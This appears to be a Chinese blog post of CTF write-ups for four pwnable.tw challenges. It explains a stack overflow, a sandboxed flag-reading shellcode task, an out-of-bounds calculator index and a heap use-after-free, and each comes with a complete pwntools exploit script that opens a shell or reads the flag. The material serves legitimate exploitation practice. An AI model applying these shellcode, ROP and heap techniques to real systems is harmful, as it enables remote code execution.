• pwnable.tw刷题记录


    前言

    最近开始在pwnable.tw平台上做题,记录自己的解题过程。

    start

    32位程序,什么保护都没开

    读汇编可知,系统调用write和read

    存在一个栈溢出

    思路大概是先利用溢出返回write泄露栈地址,然后rop+shellcode拿下。

    exp:

    from pwn import*
    context.log_level = 'debug'
    context.arch = 'i386'
    context.os = 'linux'
    #p = process('./start')
    p = remote('chall.pwnable.tw',10000)
    shellcode = "x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80"
    #gdb.attach(p)
    payload = 'a'*0x14+p32(0x08048087)
    #payload = shellcode
    #gdb.attach(p)
    p.send(payload)
    p.recvn(0x14)
    stack = u32(p.recv(4))
    log.success('leak stack:'+hex(stack))
    payload = 'a'*0x14+p32(stack+0x14)+shellcode
    p.send(payload) 
    p.interactive()
    

    orw

    开了沙盒,但是可以orw。

    直接写shellcode去读flag就可以了,flag在/home/orw/flag目录下,就是汇编有点难写(我太菜了)

    exp:

    from pwn import*
    context.log_level = 'debug'
    p = remote('chall.pwnable.tw',10001)
    payload = "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;int 0x80;"
    payload += "mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"
    payload += "mov eax,0x4;mov ebx,0x1;mov edx,0x40;int 0x80;"
    p.recvuntil('Give my your shellcode:')
    payload = asm(payload)
    p.send(payload)
    p.interactive()
    

    calc

    先分析这个计算器的算法

    pool[0]储存参与运算数字的个数 pool[1]储存参与运算的第一个数 pool[2]储存参与运算的第二个数 ......

    例如 1+2 ,此时pool[0] = 2

    eval函数:计算表达式

    加法运算:

    _pool[*_pool - 1] += _pool[*_pool];
    

    运算过程:

    pool[pool[0]-1] += pool[pool[0]]
    pool[1] += pool[2]
    

    pool[pool[0]-1]储存了运算的结果

    在这个例子中pool[1] = 3

    但是会出现一个问题

    假如表达式为:+100

    pool[0] = 1 ; pool[1] = 100
    pool[pool[0]-1] += pool[1]
    pool[0] = 100 
    

    这样就可以控制pool[0]的值

    就可以对栈上的内存进行读写

    说完了漏洞,接下来开始构造我们的rop链

    程序为静态编译,没有导入system或是exceve

    于是我们的思路转到系统调用上,用int 80h 进入一个系统调用

    eax=11
    ebx= “/bin/sh”
    ecx=0
    edx=0
    int 80h
    ==> exceve("/bin/sh",0,0)
    

    pool[0]距离栈底0x5A0 => 1440 1440/4 = 360

    pool[361]即是eip的位置

    接下来就是泄露/bin/sh的地址,因为/bin/sh是我们写到栈上的。

    ROP链的构造 :pop_eax_ret + 11 + pop_edx_ret + 0 + pop_ecx pop_ebx_ret + 0 +&(/bin/sh)+ int 80h+ /bin + /shx00

    在本地gdb调试中,ebp处储存了ebp+0x20的地址,我们的/bin/sh布置在ebp+0x24的位置,所以可以通过泄露ebp的值来确定/bin/sh的地址

    完整exp:

    from pwn import*
    proc = './calc'
    ip = 'chall.pwnable.tw' 
    port = 10100
    #p = process(proc)
    p = remote(ip,port)
    context.log_level = "Debug"
    p.recvuntil('=== Welcome to SECPROG calculator ===
    ')
    off = 361
    p.sendline("+"+str(360)) 
    ebp = int(p.recvline(),10) # leak ebp
    bin_sh = ebp + 4
    
    '''
    0x0805c34b : pop eax ; ret
    0x080701d1 : pop ecx ; pop ebx ; ret
    0x080701aa : pop edx ; ret
    0x08049a21 : int 0x80
    '''
    #ROP_chain
    payload = [0x0805c34b,0xb,0x080701aa,0,0x080701d1,0,bin_sh,0x08049a21,0x6e69622f,0x0068732f]
    
    
    for i in range(len(payload)):
        p.sendline("+"+str(off+i))
        num = int(p.recvline())
    
        diff = payload[i] - num
        if diff > 0 :
            p.sendline("+"+str(off+i)+"+"+str(diff))
        else:
            p.sendline("+"+str(off+i)+str(diff))
        p.recvline()
    
    p.sendline()
    p.interactive()
    

    hacknote

    程序分析

    add:会先申请一个0x8的chunk,chunk里面存了打印函数的函数指针和申请到堆块的地址,然后把chunk存在heaplist里面

    delete: 存在uaf

    print: 调用函数指针打印堆块内容

    大致思路,先unsorted bin泄露libc地址,然后利用uaf去打函数指针,先申请两个块,再释放两个块,最后add(0X8)

    最后print,执行system('sh')

    在print的时候

    (*ptr[v1])(ptr[v1]);
    

    ptr[v1]会是system函数的地址,用;绕过最后加上sh就行

    exp:

    from pwn import*
    #context.log_level = 'debug'
    elf = ELF('./hacknote')
    libc = ELF('./libc_32.so.6')
    ip = 'chall.pwnable.tw' 
    port = 10102
    #p = process('./hacknote')
    p = remote(ip,port)
    def cmd(idx):
        p.sendlineafter('Your choice :',str(idx))
        
    def add(size,content):
        cmd(1)
        p.sendlineafter('Note size :',str(size))
        p.sendafter('Content :',content)
        
    def delete(idx):
        cmd(2)
        p.sendlineafter("Index :",str(idx))
    
    def show(idx):
        cmd(3)
        p.sendlineafter("Index :",str(idx))
    def exploit():
        add(0x98,'a')#0
        add(0x18,'/bin/shx00')#1
        delete(0)
        add(0x10,'xb0')#2
        show(2)
        leak = u32(p.recv(4)) - 328
        log.info('malloc_hook:'+hex(leak))
        lbase = leak - libc.sym['__malloc_hook']
        system = lbase + libc.sym['system']
        log.info('libc:'+hex(lbase))
        add(0x10,'c')#3
        delete(2)
        delete(3)
        add(0x8,p32(system)+';shx00')#4
    #    gdb.attach(p)
        show(0)
        p.interactive()
    
    if  __name__ == '__main__':
        exploit()
    
  • 相关阅读:
    Linux基础知识--目录操作
    Linux基础知识--命令的基础知识
    Linux基础知识--磁盘分区和目录结构
    PO设计模式
    SSL连接形式发送邮件
    已附件的形式发送测试报告
    Python+selenium+HTMLTestRunner邮件形式发送测试报告
    Python随笔13
    Python随笔12
    Python随笔11
  • 原文地址:https://www.cnblogs.com/z2yh/p/14280218.html
Copyright © 2020-2023  润新知